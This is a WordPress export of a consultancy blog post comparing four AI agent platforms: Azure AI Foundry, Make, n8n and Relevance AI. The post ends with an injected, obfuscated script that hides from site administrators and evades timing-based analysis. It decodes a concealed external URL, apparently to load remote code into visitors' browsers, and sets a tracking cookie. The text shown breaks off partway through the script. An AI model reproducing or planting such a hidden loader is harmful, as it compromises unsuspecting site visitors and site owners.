{"id":22881,"date":"2026-08-25T17:04:36","date_gmt":"2026-08-25T15:04:36","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/"},"modified":"2026-08-25T17:04:36","modified_gmt":"2026-08-25T15:04:36","slug":"ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/","title":{"rendered":"Creating an AI Agent &#8211; The Most Important Platforms in Comparison and What Really Helps Companies Now"},"content":{"rendered":"<p data-start=\"178\" data-end=\"488\">AI agents are considered the next evolutionary stage in automation: they act autonomously, learn from contexts and can be flexibly embedded in business processes. Creating an AI agent sounds abstract at first and it can be difficult to find a good way to get started. Therefore, here we want to break down which platforms are best suited for this and why.  <\/p>\n<p data-start=\"490\" data-end=\"856\">We compared four leading solutions: <strong data-start=\"535\" data-end=\"555\">Azure AI Foundry<\/strong>, <strong data-start=\"557\" data-end=\"565\">Make<\/strong>, <strong data-start=\"567\" data-end=\"574\">n8n<\/strong> , and <strong data-start=\"579\" data-end=\"595\">Relevance AI<\/strong>. This was not just about classic criteria such as user interface or integrations \u2013 but about real applicability in the corporate context and the question: Which platform supports you in establishing AI agents as part of your business solutions in the long term? <\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#What_is_an_AI_Agent_platform_anyway\" >What is an AI Agent platform anyway?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#Four_platforms_%E2%80%93_four_philosophies\" >Four platforms \u2013 four philosophies<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#Our_assessment_What_is_the_best_way_to_create_an_AI_agent\" >Our assessment: What is the best way to create an AI agent?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#Azure_AI_Foundry\" >Azure AI Foundry<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#Make\" >Make<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#n8n\" >n8n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#Relevance_AI\" >Relevance AI<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/ai-agent-creates-the-most-important-platforms-in-comparison-and-what-really-helps-companies-now\/#Conclusion_Being_able_to_create_an_AI_agent_will_be_critical_for_survival_for_companies_%E2%80%93_but_not_every_platform_is_made_for_it\" >Conclusion: Being able to create an AI agent will be critical for survival for companies \u2013 but not every platform is made for it<\/a><\/li><\/ul><\/nav><\/div>\n<h2 data-start=\"863\" data-end=\"912\"><span class=\"ez-toc-section\" id=\"What_is_an_AI_Agent_platform_anyway\"><\/span><strong data-start=\"866\" data-end=\"912\">What is an AI Agent platform anyway?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"914\" data-end=\"979\">At its core, it&#8217;s about more than simple automation. AI Agents&#8230; <\/p>\n<ul data-start=\"981\" data-end=\"1215\">\n<li data-start=\"981\" data-end=\"1009\">\n<p data-start=\"983\" data-end=\"1009\">act purposefully,<\/p>\n<\/li>\n<li data-start=\"1010\" data-end=\"1064\">\n<p data-start=\"1012\" data-end=\"1064\">integrate into complex system landscapes,<\/p>\n<\/li>\n<li data-start=\"1065\" data-end=\"1125\">\n<p data-start=\"1067\" data-end=\"1125\">leverage LLMs, APIs, data sources, and tools simultaneously<\/p>\n<\/li>\n<li data-start=\"1126\" data-end=\"1215\">\n<p data-start=\"1128\" data-end=\"1215\">and can be integrated into larger business processes as reusable building blocks.<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"1217\" data-end=\"1375\">The decisive difference to classic automation platforms lies in the ability to plan, adapt and make decisions independently.<\/p>\n<h2 data-start=\"1382\" data-end=\"1425\"><span class=\"ez-toc-section\" id=\"Four_platforms_%E2%80%93_four_philosophies\"><\/span><strong data-start=\"1385\" data-end=\"1425\">Four platforms \u2013 four philosophies<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div class=\"_tableContainer_16hzy_1\">\n<div class=\"_tableWrapper_16hzy_14 group flex w-fit flex-col-reverse\" tabindex=\"-1\">\n<table class=\"w-fit min-w-(--thread-content-width)\" data-start=\"1427\" data-end=\"2523\">\n<thead data-start=\"1427\" data-end=\"1503\">\n<tr data-start=\"1427\" data-end=\"1503\">\n<th data-start=\"1427\" data-end=\"1439\" data-col-size=\"sm\">Category<\/th>\n<th data-start=\"1439\" data-end=\"1462\" data-col-size=\"md\"><strong data-start=\"1441\" data-end=\"1461\">Azure AI Foundry<\/strong><\/th>\n<th data-start=\"1462\" data-end=\"1473\" data-col-size=\"sm\"><strong data-start=\"1464\" data-end=\"1472\">Make<\/strong><\/th>\n<th data-start=\"1473\" data-end=\"1483\" data-col-size=\"md\"><strong data-start=\"1475\" data-end=\"1482\">n8n<\/strong><\/th>\n<th data-start=\"1483\" data-end=\"1503\" data-col-size=\"md\"><strong data-start=\"1485\" data-end=\"1501\">Relevance AI<\/strong><\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"1579\" data-end=\"2523\">\n<tr data-start=\"1579\" data-end=\"1753\">\n<td data-start=\"1579\" data-end=\"1591\" data-col-size=\"sm\"><strong data-start=\"1581\" data-end=\"1590\">Focus<\/strong><\/td>\n<td data-col-size=\"md\" data-start=\"1591\" data-end=\"1635\">Enterprise agents in the Microsoft ecosystem<\/td>\n<td data-col-size=\"sm\" data-start=\"1635\" data-end=\"1674\">No-code workflows for business teams<\/td>\n<td data-col-size=\"md\" data-start=\"1674\" data-end=\"1720\">Open source automation for developers<\/td>\n<td data-col-size=\"md\" data-start=\"1720\" data-end=\"1753\">Insight-driven AI agents<\/td>\n<\/tr>\n<tr data-start=\"1754\" data-end=\"1906\">\n<td data-start=\"1754\" data-end=\"1779\" data-col-size=\"sm\"><strong data-start=\"1756\" data-end=\"1778\">Agent Skills<\/strong><\/td>\n<td data-col-size=\"md\" data-start=\"1779\" data-end=\"1818\">\ud83d\udfe2 Tools, Memory, Multistep Reasoning<\/td>\n<td data-col-size=\"sm\" data-start=\"1818\" data-end=\"1840\">\u274c Linear logic<\/td>\n<p> only<\/p>\n<td data-col-size=\"md\" data-start=\"1840\" data-end=\"1870\">\u274c No real agent model<\/td>\n<td data-col-size=\"md\" data-start=\"1870\" data-end=\"1906\">\ud83d\udfe2 Agent Orchestration &#038; Feedback<\/td>\n<\/tr>\n<tr data-start=\"1907\" data-end=\"2057\">\n<td data-start=\"1907\" data-end=\"1929\" data-col-size=\"sm\"><strong data-start=\"1909\" data-end=\"1928\">LLM Integration<\/strong><\/td>\n<td data-col-size=\"md\" data-start=\"1929\" data-end=\"1966\">\ud83d\udfe2 Azure OpenAI, Cognitive Services<\/td>\n<td data-col-size=\"sm\" data-start=\"1966\" data-end=\"1988\">\ud83d\udfe1 HTTP API for GPT<\/td>\n<td data-col-size=\"md\" data-start=\"1988\" data-end=\"2019\">\ud83d\udfe2 OpenAI, HuggingFace, Azure<\/td>\n<td data-col-size=\"md\" data-start=\"2019\" data-end=\"2057\">\ud83d\udfe2 Native LLMs + Vector Databases<\/td>\n<\/tr>\n<tr data-start=\"2058\" data-end=\"2195\">\n<td data-start=\"2058\" data-end=\"2082\" data-col-size=\"sm\"><strong data-start=\"2060\" data-end=\"2081\">API\/JSON Handling<\/strong><\/td>\n<td data-col-size=\"md\" data-start=\"2082\" data-end=\"2116\">\ud83d\udfe1 Intended<\/td>\n<p> for developers<\/p>\n<td data-col-size=\"sm\" data-start=\"2116\" data-end=\"2141\">\ud83d\udfe2 Visual JSON Mapping<\/td>\n<td data-col-size=\"md\" data-start=\"2141\" data-end=\"2165\">\ud83d\udfe2 Powerful API Flows<\/td>\n<td data-col-size=\"md\" data-start=\"2165\" data-end=\"2195\">\ud83d\udfe1 Focus on Prompt &#038; Code<\/td>\n<\/tr>\n<tr data-start=\"2196\" data-end=\"2351\">\n<td data-start=\"2196\" data-end=\"2217\" data-col-size=\"sm\"><strong data-start=\"2198\" data-end=\"2216\">Scalability<\/strong><\/td>\n<td data-start=\"2217\" data-end=\"2256\" data-col-size=\"md\">\ud83d\udfe2 DevOps, Testing, Access Control<\/td>\n<td data-col-size=\"sm\" data-start=\"2256\" data-end=\"2280\">\ud83d\udfe1 Scenario Level<\/td>\n<p> Only<\/p>\n<td data-col-size=\"md\" data-start=\"2280\" data-end=\"2309\">\ud83d\udfe2 Modular, Git-compatible<\/td>\n<td data-col-size=\"md\" data-start=\"2309\" data-end=\"2351\">\ud83d\udfe1 SaaS-only, limited embedding<\/td>\n<\/tr>\n<tr data-start=\"2352\" data-end=\"2523\">\n<td data-start=\"2352\" data-end=\"2373\" data-col-size=\"sm\"><strong data-start=\"2354\" data-end=\"2372\">Enterprise Fit<\/strong><\/td>\n<td data-col-size=\"md\" data-start=\"2373\" data-end=\"2416\">\ud83d\udfe2 Governance, Multi-Tenant, Access Zones<\/td>\n<td data-col-size=\"sm\" data-start=\"2416\" data-end=\"2442\">\u274c No governance layer<\/td>\n<td data-col-size=\"md\" data-start=\"2442\" data-end=\"2471\">\ud83d\udfe1 Self-hosted possible<\/td>\n<td data-col-size=\"md\" data-start=\"2471\" data-end=\"2523\">\ud83d\udfe1 Good AI, but not a complete platform fit<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2 data-start=\"2530\" data-end=\"2556\"><span class=\"ez-toc-section\" id=\"Our_assessment_What_is_the_best_way_to_create_an_AI_agent\"><\/span><strong data-start=\"2533\" data-end=\"2556\">Our assessment: What is the best way to create an AI agent?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 data-start=\"2558\" data-end=\"2585\"><span class=\"ez-toc-section\" id=\"Azure_AI_Foundry\"><\/span><strong data-start=\"2565\" data-end=\"2585\">Azure AI Foundry<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2586\" data-end=\"2909\">For organizations looking to strategically embed AI agents into Microsoft technologies, Azure AI Foundry is the strongest candidate. From Copilot Studio to Power Platform to Dynamics 365 \u2013 agents can be orchestrated securely and at scale. Governance, lifecycle management and multi-tenant capability included.  <\/p>\n<p data-start=\"2911\" data-end=\"2995\">Limits: Still in development, technical UX, primarily for developers.<\/p>\n<h3 data-start=\"3002\" data-end=\"3017\"><img decoding=\"async\" class=\"alignnone wp-image-18286 size-large\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-2-1024x782.png\" alt=\"Create AI Agent\" width=\"1024\" height=\"782\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-2-1024x782.png 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-2-300x229.png 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-2-524x400.png 524w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-2-79x60.png 79w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-2-92x70.png 92w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-2.png 1988w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/h3>\n<h3 data-start=\"3002\" data-end=\"3017\"><span class=\"ez-toc-section\" id=\"Make\"><\/span><strong data-start=\"3009\" data-end=\"3017\">Make<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"3018\" data-end=\"3230\">If you want to automate simple processes \u2013 e.g. in marketing, HR or support \u2013 Make is an excellent no-code solution. JSON handling, API connections and visual mapping are intuitively implemented.<\/p>\n<p data-start=\"3232\" data-end=\"3333\"><span data-start=\"2914\" data-end=\"2926\">Borders:<\/span> No agent model, no enterprise architecture, limited reusability.<\/p>\n<h3 data-start=\"3340\" data-end=\"3354\"><span class=\"ez-toc-section\" id=\"n8n\"><\/span><strong data-start=\"3347\" data-end=\"3354\">n8n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"3355\" data-end=\"3564\">Open-source, flexible, developer-friendly \u2013 n8n convinces with strong API logic and custom code capabilities. Especially as a sidecar solution for specific agent processes, n8n can be meaningfully integrated. <\/p>\n<p data-start=\"3566\" data-end=\"3638\"><span data-start=\"2914\" data-end=\"2926\">Borders:<\/span> No native agent focus, lack of governance features.<\/p>\n<h3 data-start=\"3645\" data-end=\"3668\"><span class=\"ez-toc-section\" id=\"Relevance_AI\"><\/span><strong data-start=\"3652\" data-end=\"3668\">Relevance AI<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"3669\" data-end=\"3887\">Ideal for insight-driven agents, e.g. in customer service or product feedback. Relevance AI combines LLMs, vector data and agent control in a lean interface \u2013 but with a focus on special cases.<\/p>\n<p data-start=\"3889\" data-end=\"4009\"><span data-start=\"2914\" data-end=\"2926\">Borders:<\/span> Not designed for broader business architectures or deep integration with business suites.<\/p>\n<h2 data-start=\"4016\" data-end=\"4115\"><span class=\"ez-toc-section\" id=\"Conclusion_Being_able_to_create_an_AI_agent_will_be_critical_for_survival_for_companies_%E2%80%93_but_not_every_platform_is_made_for_it\"><\/span><strong data-start=\"4019\" data-end=\"4115\">Conclusion: Being able to create an AI agent will be critical for survival for companies \u2013 but not every platform is made for it<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"4117\" data-end=\"4333\">If you are seriously thinking about <strong data-start=\"4136\" data-end=\"4184\">scalable, testable and controllable agents<\/strong> in a corporate context, you should not be blinded by a simple interface or short-term use case. The decisive question is: <\/p>\n<blockquote data-start=\"4335\" data-end=\"4494\">\n<p data-start=\"4337\" data-end=\"4494\"><em data-start=\"4337\" data-end=\"4494\">Can I maintain, update, test, and evolve this agent later as part of my solution\u2014just like any other enterprise module?<\/em><\/p>\n<\/blockquote>\n<p data-start=\"4496\" data-end=\"4847\">If the answer is yes, Azure AI Foundry is currently the most promising candidate \u2013 especially for companies in the Microsoft environment. If you want to get started faster with smaller use cases, you will find interesting alternatives in Make, n8n or Relevance AI. But real business maturity only emerges with structure, governance and platform strategy.  <\/p>\n<p data-start=\"4854\" data-end=\"5070\"><strong data-start=\"4854\" data-end=\"4931\">You don&#8217;t just want to try out AI agents, you want to use them strategically?<\/strong><br data-start=\"4931\" data-end=\"4934\">As a Microsoft partner for Data &#038; AI, we support you in getting started \u2013 from tool selection to architecture consulting and implementation. Contact us for an <a href=\"https:\/\/calendly.com\/inkubit\/first-consultation\">individual assessment<\/a>. <\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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